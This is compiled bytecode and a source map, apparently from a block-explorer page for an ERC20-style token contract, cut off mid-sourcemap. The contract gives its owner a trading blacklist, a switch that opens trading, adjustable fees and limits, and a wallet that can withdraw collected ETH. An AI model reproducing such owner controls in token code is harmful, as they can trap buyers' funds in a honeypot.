600080fd5b506103727f0000000000000000000000007748ccc071df352f3e95f0f3d14487f14e64017481565b3480156104f757600080fd5b50610245610506366004611659565b6109a8565b34801561051757600080fd5b5061025c60055481565b34801561052d57600080fd5b5061025c61053c3660046116e4565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561057357600080fd5b50610245610582366004611640565b610a49565b6000610594338484610a92565b5060015b92915050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c89061171d565b60405180910390fd5b600491909155600555565b60006105ea6009600a61184c565b6105f890633b9aca0061185b565b905090565b6009546001600160a01b0316331461061457600080fd5b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610649573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106d15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016105c8565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461070c918691610707908690611872565b610a92565b610717848484610bb6565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b81526004016105c89061171d565b600692909255600755600855565b6000546001600160a01b031633146107835760405162461bcd60e51b81526004016105c89061171d565b600355565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105c89061171d565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107fe5760405162461bcd60e51b81526004016105c89061171d565b600a54600160a81b900460ff16156108585760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e000000000060448201526064016105c8565b600a805460ff60a81b1916600160a81b179055565b6000546001600160a01b031633146108975760405162461bcd60e51b81526004016105c89061171d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461090b5760405162461bcd60e51b81526004016105c89061171d565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6000610594338484610bb6565b6000546001600160a01b031633146109645760405162461bcd60e51b81526004016105c89061171d565b50506001600160a01b037f0000000000000000000000007748ccc071df352f3e95f0f3d14487f14e640174166000908152600d60205260409020805460ff19169055565b6000546001600160a01b031633146109d25760405162461bcd60e51b81526004016105c89061171d565b60005b82811015610a435781600d60008686858181106109f4576109f4611885565b9050602002016020810190610a0991906115b6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3b8161189b565b9150506109d5565b50505050565b6009546001600160a01b03163314610a6057600080fd5b30600090815260016020526040812054606490610a7d908461185b565b610a8791906118b4565b905061064981611186565b6001600160a01b038316610af45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c8565b6001600160a01b038216610b555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a548390600160a81b900460ff1680610c0157507f000000000000000000000000ce9e2a641a67c135a8afdf85a8a82bd63fd0dfe26001600160a01b0316816001600160a01b0316145b610c0a57600080fd5b6001600160a01b038416610c6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c8565b6001600160a01b038316610cd05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c8565b60008211610d395760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016105c8565b6001600160a01b0384166000908152600d602052604090205460ff16158015610d7b57506001600160a01b0383166000908152600d602052604090205460ff16155b610dc75760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a20626c61636b6c69737465642063616e6e6f742074726164650060448201526064016105c8565b6001600160a01b03841660009081526001602052604081208054849290610def908490611872565b90915550506001600160a01b0384163014801590610e3f57507f000000000000000000000000ce9e2a641a67c135a8afdf85a8a82bd63fd0dfe26001600160a01b0316846001600160a01b031614155b8015610e7d57507f000000000000000000000000ce9e2a641a67c135a8afdf85a8a82bd63fd0dfe26001600160a01b0316836001600160a01b031614155b15611033577f0000000000000000000000007748ccc071df352f3e95f0f3d14487f14e6401746001600160a01b0316846001600160a01b031603610f425760035482610ede856001600160a01b031660009081526001602052604090205490565b610ee891906118d6565b1115610f425760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420726573747269636044820152633a34b7b760e11b60648201526084016105c8565b600354821115610f945760405162461bcd60e51b815260206004820181905260248201527f546f6b656e3a206d617820747820616d6f756e74207265737472696374696f6e60448201526064016105c8565b30600090815260016020526040902054600a54600160a01b900460ff16158015610fef57507f0000000000000000000000007748ccc071df352f3e95f0f3d14487f14e6401746001600160a01b0316846001600160a01b0316145b801561101357506110026009600a61184c565b61100f90624c4b4061185b565b8110155b801561102357506110238361134c565b156110315761103181611186565b505b6001600160a01b0384166000908152600e602052604090205460ff1615801561107557506001600160a01b0383166000908152600e602052604090205460ff16155b1561110457600061108685846113f2565b90508015611102576110988184611872565b306000908152600160205260408120805492955083929091906110bc9084906118d6565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0383166000908152600160205260408120805484929061112c9084906118d6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161117891815260200190565b60405180910390a350505050565b600a805460ff60a01b1916600160a01b1790556111a281611456565b6000600c819055308152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020549091508111156112125761121230737a250d5630b4cf539739df2c5dacb4c659f2488d6112046009600a61184c565b61070790633b9aca0061185b565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061124b5761124b611885565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061129357611293611885565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112eb9086906000908690309042906004016118e9565b600060405180830381600087803b15801561130557600080fd5b505af1158015611319573d6000803e3d6000fd5b5050505081476113299190611872565b9150811561133a5761133a826114c8565b5050600a805460ff60a01b1916905550565b6000600754600014611383576007546113676009600a61184c565b61137490624c4b4061185b565b61137e91906118b4565b611386565b60005b821015801561139f5750600a546001600160a01b031615155b80156113c05750600854600c600081546113b89061189b565b918290555010155b80156105985750436000908152600b6020526040812080546002929091906113e78361189b565b919050551092915050565b600060647f0000000000000000000000007748ccc071df352f3e95f0f3d14487f14e6401746001600160a01b0316846001600160a01b0316146114375760055461143b565b6004545b611445908461185b565b61144f91906118b4565b9392505050565b60006114646009600a61184c565b61147190624c4b4061185b565b60065461147e919061185b565b82116114a2576114906009600a61184c565b61149d90624c4b4061185b565b610598565b6114ae6009600a61184c565b6114bb90624c4b4061185b565b600654610598919061185b565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610649573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561152f57858101830151858201604001528201611513565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461156557600080fd5b50565b6000806040838503121561157b57600080fd5b823561158681611550565b946020939093013593505050565b600080604083850312156115a757600080fd5b50508035926020909101359150565b6000602082840312156115c857600080fd5b813561144f81611550565b6000806000606084860312156115e857600080fd5b83356115f381611550565b9250602084013561160381611550565b929592945050506040919091013590565b60008060006060848603121561162957600080fd5b505081359360208301359350604090920135919050565b60006020828403121561165257600080fd5b5035919050565b60008060006040848603121561166e57600080fd5b833567ffffffffffffffff8082111561168657600080fd5b818601915086601f83011261169a57600080fd5b8135818111156116a957600080fd5b8760208260051b85010111156116be57600080fd5b6020928301955093505084013580151581146116d957600080fd5b809150509250925092565b600080604083850312156116f757600080fd5b823561170281611550565b9150602083013561171281611550565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117a357816000190482111561178957611789611752565b8085161561179657918102915b93841c939080029061176d565b509250929050565b6000826117ba57506001610598565b816117c757506000610598565b81600181146117dd57600281146117e757611803565b6001915050610598565b60ff8411156117f8576117f8611752565b50506001821b610598565b5060208310610133831016604e8410600b8410161715611826575081810a610598565b6118308383611768565b806000190482111561184457611844611752565b029392505050565b600061144f60ff8416836117ab565b808202811582820484141761059857610598611752565b8181038181111561059857610598611752565b634e487b7160e01b600052603260045260246000fd5b6000600182016118ad576118ad611752565b5060010190565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561059857610598611752565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f7e1ecc5c91d404710e49589a6fd058f1f3ef234117d19c46811ef2df618dbfb64736f6c63430008130033

Deployed Bytecode Sourcemap

2025:9010:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4412:83;;;;;;;;;;-1:-1:-1;4482:5:0;;;;;;;;;;;;-1:-1:-1;;;4482:5:0;;;;4412:83;;;;;;;:::i;:::-;;;;;;;;5212:150;;;;;;;;;;-1:-1:-1;5212:150:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5212:150:0;1023:187:1;10740:143:0;;;;;;;;;;-1:-1:-1;10740:143:0;;;;;:::i;:::-;;:::i;:::-;;4689:91;;;;;;;;;;;;;:::i;:::-;;;1614:25:1;;;1602:2;1587:18;4689:91:0;1468:177:1;9253:161:0;;;;;;;;;;-1:-1:-1;9253:161:0;;;;;:::i;:::-;;:::i;5370:358::-;;;;;;;;;;-1:-1:-1;5370:358:0;;;;;:::i;:::-;;:::i;4598:83::-;;;;;;;;;;-1:-1:-1;4598:83:0;;2345:1;2505:36:1;;2493:2;2478:18;4598:83:0;2363:184:1;10343:264:0;;;;;;;;;;-1:-1:-1;10343:264:0;;;;;:::i;:::-;;:::i;2590:25::-;;;;;;;;;;;;;;;;2512:69;;;;;;;;;;;;;;;;10615:116;;;;;;;;;;-1:-1:-1;10615:116:0;;;;;:::i;:::-;;:::i;10022:141::-;;;;;;;;;;-1:-1:-1;10022:141:0;;;;;:::i;:::-;;:::i;3131:78::-;;;;;;;;;;-1:-1:-1;3131:78:0;;;;-1:-1:-1;;;;;3131:78:0;;;;;;-1:-1:-1;;;;;3482:32:1;;;3464:51;;3452:2;3437:18;3131:78:0;3318:203:1;10891:141:0;;;;;;;;;;;;;:::i;4788:110::-;;;;;;;;;;-1:-1:-1;4788:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;4872:18:0;4845:7;4872:18;;;:9;:18;;;;;;;4788:110;1870:148;;;;;;;;;;;;;:::i;9873:141::-;;;;;;;;;;-1:-1:-1;9873:141:0;;;;;:::i;:::-;;:::i;1783:79::-;;;;;;;;;;-1:-1:-1;1821:7:0;1848:6;-1:-1:-1;;;;;1848:6:0;1783:79;;4503:87;;;;;;;;;;-1:-1:-1;4575:7:0;;;;;;;;;;;;-1:-1:-1;;;4575:7:0;;;;4503:87;;3286:39;;;;;;;;;;-1:-1:-1;3286:39:0;;;;-1:-1:-1;;;;;3286:39:0;;;4906:156;;;;;;;;;;-1:-1:-1;4906:156:0;;;;;:::i;:::-;;:::i;10175:160::-;;;;;;;;;;-1:-1:-1;10175:160:0;;;;;:::i;:::-;;:::i;3086:36::-;;;;;;;;;;;;;;;9648:217;;;;;;;;;;-1:-1:-1;9648:217:0;;;;;:::i;:::-;;:::i;2622:27::-;;;;;;;;;;;;;;;;5070:134;;;;;;;;;;-1:-1:-1;5070:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;5169:18:0;;;5142:7;5169:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5070:134;9423:217;;;;;;;;;;-1:-1:-1;9423:217:0;;;;;:::i;:::-;;:::i;5212:150::-;5278:4;5295:37;5304:10;5316:7;5325:6;5295:8;:37::i;:::-;-1:-1:-1;5350:4:0;5212:150;;;;;:::o;10740:143::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;;;;;;;;;10826:6:::1;:18:::0;;;;10855:7:::1;:20:::0;10740:143::o;4689:91::-;4733:7;2404:13;2345:1;2404:2;:13;:::i;:::-;2466:39;;:13;:39;:::i;:::-;4753:19;;4689:91;:::o;9253:161::-;9329:18;;-1:-1:-1;;;;;9329:18:0;9315:10;:32;9307:41;;;;;;9359:47;;-1:-1:-1;;;;;9359:24:0;;;9384:21;9359:47;;;;;;;;;9384:21;9359:24;:47;;;;;;;;;;;;;;;;;;;;;9253:161;:::o;5370:358::-;-1:-1:-1;;;;;5484:19:0;;5459:4;5484:19;;;:11;:19;;;;;;;;5504:10;5484:31;;;;;;;;:41;-1:-1:-1;5484:41:0;5476:94;;;;-1:-1:-1;;;5476:94:0;;7181:2:1;5476:94:0;;;7163:21:1;7220:2;7200:18;;;7193:30;7259:34;7239:18;;;7232:62;-1:-1:-1;;;7310:18:1;;;7303:38;7358:19;;5476:94:0;6979:404:1;5476:94:0;-1:-1:-1;;;;;5610:19:0;;;;;;:11;:19;;;;;;;;5598:10;5610:31;;;;;;;;;5581:70;;5590:6;;5610:40;;5644:6;;5610:40;:::i;:::-;5581:8;:70::i;:::-;5662:36;5672:6;5680:9;5691:6;5662:9;:36::i;:::-;-1:-1:-1;5716:4:0;5370:358;;;;;:::o;10343:264::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;10474:15:::1;:38:::0;;;;10523:15:::1;:35:::0;10569:16:::1;:30:::0;10343:264::o;10615:116::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;10692:15:::1;:31:::0;10615:116::o;10022:141::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;10117:16:::1;:38:::0;;-1:-1:-1;;;;;;10117:38:0::1;-1:-1:-1::0;;;;;10117:38:0;;;::::1;::::0;;;::::1;::::0;;10022:141::o;10891:::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;10952:11:::1;::::0;-1:-1:-1;;;10952:11:0;::::1;;;10951:12;10943:52;;;::::0;-1:-1:-1;;;10943:52:0;;7723:2:1;10943:52:0::1;::::0;::::1;7705:21:1::0;7762:2;7742:18;;;7735:30;7801:29;7781:18;;;7774:57;7848:18;;10943:52:0::1;7521:351:1::0;10943:52:0::1;11006:11;:18:::0;;-1:-1:-1;;;;11006:18:0::1;-1:-1:-1::0;;;11006:18:0::1;::::0;;10891:141::o;1870:148::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;1977:1:::1;1961:6:::0;;1940:40:::1;::::0;-1:-1:-1;;;;;1961:6:0;;::::1;::::0;1940:40:::1;::::0;1977:1;;1940:40:::1;2008:1;1991:19:::0;;-1:-1:-1;;;;;;1991:19:0::1;::::0;;1870:148::o;9873:141::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;9964:18:::1;:42:::0;;-1:-1:-1;;;;;;9964:42:0::1;-1:-1:-1::0;;;;;9964:42:0;;;::::1;::::0;;;::::1;::::0;;9873:141::o;4906:156::-;4975:4;4992:40;5002:10;5014:9;5025:6;4992:9;:40::i;10175:160::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;;;10288:11:0::1;10276:24;10303:5;10276:24:::0;;;:11:::1;:24;::::0;;;;:32;;-1:-1:-1;;10276:32:0::1;::::0;;10175:160::o;9648:217::-;1540:6;;-1:-1:-1;;;;;1540:6:0;1550:10;1540:20;1532:65;;;;-1:-1:-1;;;1532:65:0;;;;;;;:::i;:::-;9751:6:::1;9746:112;9763:21:::0;;::::1;9746:112;;;9835:11;9806;:26;9818:10;;9829:1;9818:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9806:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;9806:26:0;:40;;-1:-1:-1;;9806:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9786:3;::::1;::::0;::::1;:::i;:::-;;;;9746:112;;;;9648:217:::0;;;:::o;9423:::-;9506:18;;-1:-1:-1;;;;;9506:18:0;9492:10;:32;9484:41;;;;;;9587:4;9536:20;4872:18;;;:9;:18;;;;;;9596:3;;9559:34;;:7;:34;:::i;:::-;:40;;;;:::i;:::-;9536:63;;9610:22;9619:12;9610:8;:22::i;5736:335::-;-1:-1:-1;;;;;5829:19:0;;5821:68;;;;-1:-1:-1;;;5821:68:0;;8573:2:1;5821:68:0;;;8555:21:1;8612:2;8592:18;;;8585:30;8651:34;8631:18;;;8624:62;-1:-1:-1;;;8702:18:1;;;8695:34;8746:19;;5821:68:0;8371:400:1;5821:68:0;-1:-1:-1;;;;;5908:21:0;;5900:68;;;;-1:-1:-1;;;5900:68:0;;8978:2:1;5900:68:0;;;8960:21:1;9017:2;8997:18;;;8990:30;9056:34;9036:18;;;9029:62;-1:-1:-1;;;9107:18:1;;;9100:32;9149:19;;5900:68:0;8776:398:1;5900:68:0;-1:-1:-1;;;;;5979:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6031:32;;1614:25:1;;;6031:32:0;;1587:18:1;6031:32:0;;;;;;;5736:335;;;:::o;6079:1495::-;3717:11;;6149:4;;-1:-1:-1;;;3717:11:0;;;;;:40;;;3742:15;-1:-1:-1;;;;;3732:25:0;:6;-1:-1:-1;;;;;3732:25:0;;3717:40;3709:49;;;;;;-1:-1:-1;;;;;6182:18:0;::::1;6174:68;;;::::0;-1:-1:-1;;;6174:68:0;;9381:2:1;6174:68:0::1;::::0;::::1;9363:21:1::0;9420:2;9400:18;;;9393:30;9459:34;9439:18;;;9432:62;-1:-1:-1;;;9510:18:1;;;9503:35;9555:19;;6174:68:0::1;9179:401:1::0;6174:68:0::1;-1:-1:-1::0;;;;;6261:16:0;::::1;6253:64;;;::::0;-1:-1:-1;;;6253:64:0;;9787:2:1;6253:64:0::1;::::0;::::1;9769:21:1::0;9826:2;9806:18;;;9799:30;9865:34;9845:18;;;9838:62;-1:-1:-1;;;9916:18:1;;;9909:33;9959:19;;6253:64:0::1;9585:399:1::0;6253:64:0::1;6345:1;6336:6;:10;6328:71;;;::::0;-1:-1:-1;;;6328:71:0;;10191:2:1;6328:71:0::1;::::0;::::1;10173:21:1::0;10230:2;10210:18;;;10203:30;10269:34;10249:18;;;10242:62;-1:-1:-1;;;10320:18:1;;;10313:46;10376:19;;6328:71:0::1;9989:412:1::0;6328:71:0::1;-1:-1:-1::0;;;;;6419:17:0;::::1;;::::0;;;:11:::1;:17;::::0;;;;;::::1;;6418:18;:38:::0;::::1;;;-1:-1:-1::0;;;;;;6441:15:0;::::1;;::::0;;;:11:::1;:15;::::0;;;;;::::1;;6440:16;6418:38;6410:82;;;::::0;-1:-1:-1;;;6410:82:0;;10608:2:1;6410:82:0::1;::::0;::::1;10590:21:1::0;10647:2;10627:18;;;10620:30;10686:33;10666:18;;;10659:61;10737:18;;6410:82:0::1;10406:355:1::0;6410:82:0::1;-1:-1:-1::0;;;;;6505:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;:25;;6524:6;;6505:15;:25:::1;::::0;6524:6;;6505:25:::1;:::i;:::-;::::0;;;-1:-1:-1;;;;;;;6546:21:0;::::1;6562:4;6546:21;::::0;::::1;::::0;:48:::1;;;6579:15;-1:-1:-1::0;;;;;6571:23:0::1;:4;-1:-1:-1::0;;;;;6571:23:0::1;;;6546:48;:73;;;;;6604:15;-1:-1:-1::0;;;;;6598:21:0::1;:2;-1:-1:-1::0;;;;;6598:21:0::1;;;6546:73;6543:581;;;6660:11;-1:-1:-1::0;;;;;6652:19:0::1;:4;-1:-1:-1::0;;;;;6652:19:0::1;::::0;6648:133:::1;;6725:15;;6715:6;6699:13;6709:2;-1:-1:-1::0;;;;;4872:18:0;4845:7;4872:18;;;:9;:18;;;;;;;4788:110;6699:13:::1;:22;;;;:::i;:::-;:41;;6691:90;;;::::0;-1:-1:-1;;;6691:90:0;;11098:2:1;6691:90:0::1;::::0;::::1;11080:21:1::0;11137:2;11117:18;;;11110:30;11176:34;11156:18;;;11149:62;-1:-1:-1;;;11227:18:1;;;11220:34;11271:19;;6691:90:0::1;10896:400:1::0;6691:90:0::1;6814:15;;6804:6;:25;;6796:70;;;::::0;-1:-1:-1;;;6796:70:0;;11503:2:1;6796:70:0::1;::::0;::::1;11485:21:1::0;;;11522:18;;;11515:30;11581:34;11561:18;;;11554:62;11633:18;;6796:70:0::1;11301:356:1::0;6796:70:0::1;6924:4;6881:22;4872:18:::0;;;:9;:18;;;;;;6949:6:::1;::::0;-1:-1:-1;;;6949:6:0;::::1;;;6948:7;:28:::0;::::1;;;;6965:11;-1:-1:-1::0;;;;;6959:17:0::1;:2;-1:-1:-1::0;;;;;6959:17:0::1;;6948:28;:67;;;;-1:-1:-1::0;2404:13:0::1;2345:1;2404:2;:13;:::i;:::-;2707:35;::::0;:9:::1;:35;:::i;:::-;6980:14;:35;;6948:67;:93;;;;;7019:22;7034:6;7019:14;:22::i;:::-;6945:139;;;7060:24;7069:14;7060:8;:24::i;:::-;6621:503;6543:581;-1:-1:-1::0;;;;;7140:22:0;::::1;;::::0;;;:16:::1;:22;::::0;;;;;::::1;;7139:23;:48:::0;::::1;;;-1:-1:-1::0;;;;;;7167:20:0;::::1;;::::0;;;:16:::1;:20;::::0;;;;;::::1;;7166:21;7139:48;7136:353;;;7216:19;7238:26;7251:4;7257:6;7238:12;:26::i;:::-;7216:48:::0;-1:-1:-1;7282:15:0;;7279:199:::1;;7317:21;7327:11:::0;7317:21;::::1;:::i;:::-;7375:4;7357:24;::::0;;;:9:::1;:24;::::0;;;;:39;;7317:21;;-1:-1:-1;7385:11:0;;7357:24;;;:39:::1;::::0;7385:11;;7357:39:::1;:::i;:::-;::::0;;;-1:-1:-1;;7420:42:0::1;::::0;1614:25:1;;;7443:4:0::1;::::0;-1:-1:-1;;;;;7420:42:0;::::1;::::0;::::1;::::0;1602:2:1;1587:18;7420:42:0::1;;;;;;;7279:199;7189:300;7136:353;-1:-1:-1::0;;;;;7501:13:0;::::1;;::::0;;;:9:::1;:13;::::0;;;;:23;;7518:6;;7501:13;:23:::1;::::0;7518:6;;7501:23:::1;:::i;:::-;;;;;;;;7555:2;-1:-1:-1::0;;;;;7540:26:0::1;7549:4;-1:-1:-1::0;;;;;7540:26:0::1;;7559:6;7540:26;;;;1614:25:1::0;;1602:2;1587:18;;1468:177;7540:26:0::1;;;;;;;;6079:1495:::0;;;;:::o;8053:861::-;3598:6;:13;;-1:-1:-1;;;;3598:13:0;-1:-1:-1;;;3598:13:0;;;8134:32:::1;8154:11:::0;8134:19:::1;:32::i;:::-;8185:1;8177:5;:9:::0;;;8218:4:::1;5169:18:::0;;:11;:18;;;;;;;;2946:42:::1;5169:27:::0;;;;;;;;8120:46;;-1:-1:-1;8120:46:0;-1:-1:-1;8197:155:0::1;;;8279:61;8296:4;2946:42;2404:13;2345:1;2404:2;:13;:::i;:::-;2466:39;::::0;:13:::1;:39;:::i;8279:61::-;8457:16;::::0;;8471:1:::1;8457:16:::0;;;;;::::1;::::0;;8401:21:::1;::::0;8372:26:::1;::::0;8457:16;8471:1;8457:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8457:16:0::1;8433:40;;8502:4;8484;8489:1;8484:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;8484:23:0::1;;;-1:-1:-1::0;;;;;8484:23:0::1;;;::::0;::::1;3037:42;8518:4;8523:1;8518:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8518:13:0;;::::1;:7;::::0;;::::1;::::0;;;;;;;:13;8542:194:::1;::::0;-1:-1:-1;;;8542:194:0;;2946:42:::1;::::0;8542:64:::1;::::0;:194:::1;::::0;8621:11;;8647:1:::1;::::0;8663:4;;8690::::1;::::0;8710:15:::1;::::0;8542:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8792:18;8768:21;:42;;;;:::i;:::-;8747:63:::0;-1:-1:-1;8824:22:0;;8821:85:::1;;8863:31;8875:18;8863:11;:31::i;:::-;-1:-1:-1::0;;3634:6:0;:14;;-1:-1:-1;;;;3634:14:0;;;-1:-1:-1;8053:861:0:o;7754:291::-;7819:4;7862:15;;7881:1;7862:20;:62;;7909:15;;2404:13;2345:1;2404:2;:13;:::i;:::-;2707:35;;:9;:35;:::i;:::-;7889;;;;:::i;:::-;7862:62;;;7885:1;7862:62;7843:14;:82;;:129;;;;-1:-1:-1;7942:16:0;;-1:-1:-1;;;;;7942:16:0;:30;;7843:129;:160;;;;;7987:16;;7978:5;;7976:7;;;;;:::i;:::-;;;;;-1:-1:-1;7976:27:0;;7843:160;:194;;;;-1:-1:-1;8018:12:0;8007:24;;;;:10;:24;;;;;:26;;8036:1;;8007:26;;:24;:26;;;:::i;:::-;;;;;:30;7836:201;7754:291;-1:-1:-1;;7754:291:0:o;7582:164::-;7656:7;7735:3;7701:11;-1:-1:-1;;;;;7693:19:0;:4;-1:-1:-1;;;;;7693:19:0;;:38;;7724:7;;7693:38;;;7715:6;;7693:38;7683:49;;:6;:49;:::i;:::-;:55;;;;:::i;:::-;7676:62;7582:164;-1:-1:-1;;;7582:164:0:o;8922:218::-;8994:7;2404:13;2345:1;2404:2;:13;:::i;:::-;2707:35;;:9;:35;:::i;:::-;9036:15;;:35;;;;:::i;:::-;9021:11;:51;:111;;2404:13;2345:1;2404:2;:13;:::i;:::-;2707:35;;:9;:35;:::i;:::-;9021:111;;;2404:13;2345:1;2404:2;:13;:::i;:::-;2707:35;;:9;:35;:::i;:::-;9076:15;;:35;;;;:::i;9148:97::-;9204:16;;:33;;-1:-1:-1;;;;;9204:16:0;;;;:33;;;;;9230:6;;9204:16;:33;:16;:33;9230:6;9204:16;:33;;;;;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:248::-;1283:6;1291;1344:2;1332:9;1323:7;1319:23;1315:32;1312:52;;;1360:1;1357;1350:12;1312:52;-1:-1:-1;;1383:23:1;;;1453:2;1438:18;;;1425:32;;-1:-1:-1;1215:248:1:o;1650:247::-;1709:6;1762:2;1750:9;1741:7;1737:23;1733:32;1730:52;;;1778:1;1775;1768:12;1730:52;1817:9;1804:23;1836:31;1861:5;1836:31;:::i;1902:456::-;1979:6;1987;1995;2048:2;2036:9;2027:7;2023:23;2019:32;2016:52;;;2064:1;2061;2054:12;2016:52;2103:9;2090:23;2122:31;2147:5;2122:31;:::i;:::-;2172:5;-1:-1:-1;2229:2:1;2214:18;;2201:32;2242:33;2201:32;2242:33;:::i;:::-;1902:456;;2294:7;;-1:-1:-1;;;2348:2:1;2333:18;;;;2320:32;;1902:456::o;2552:316::-;2629:6;2637;2645;2698:2;2686:9;2677:7;2673:23;2669:32;2666:52;;;2714:1;2711;2704:12;2666:52;-1:-1:-1;;2737:23:1;;;2807:2;2792:18;;2779:32;;-1:-1:-1;2858:2:1;2843:18;;;2830:32;;2552:316;-1:-1:-1;2552:316:1:o;2873:180::-;2932:6;2985:2;2973:9;2964:7;2960:23;2956:32;2953:52;;;3001:1;2998;2991:12;2953:52;-1:-1:-1;3024:23:1;;2873:180;-1:-1:-1;2873:180:1:o;3750:782::-;3842:6;3850;3858;3911:2;3899:9;3890:7;38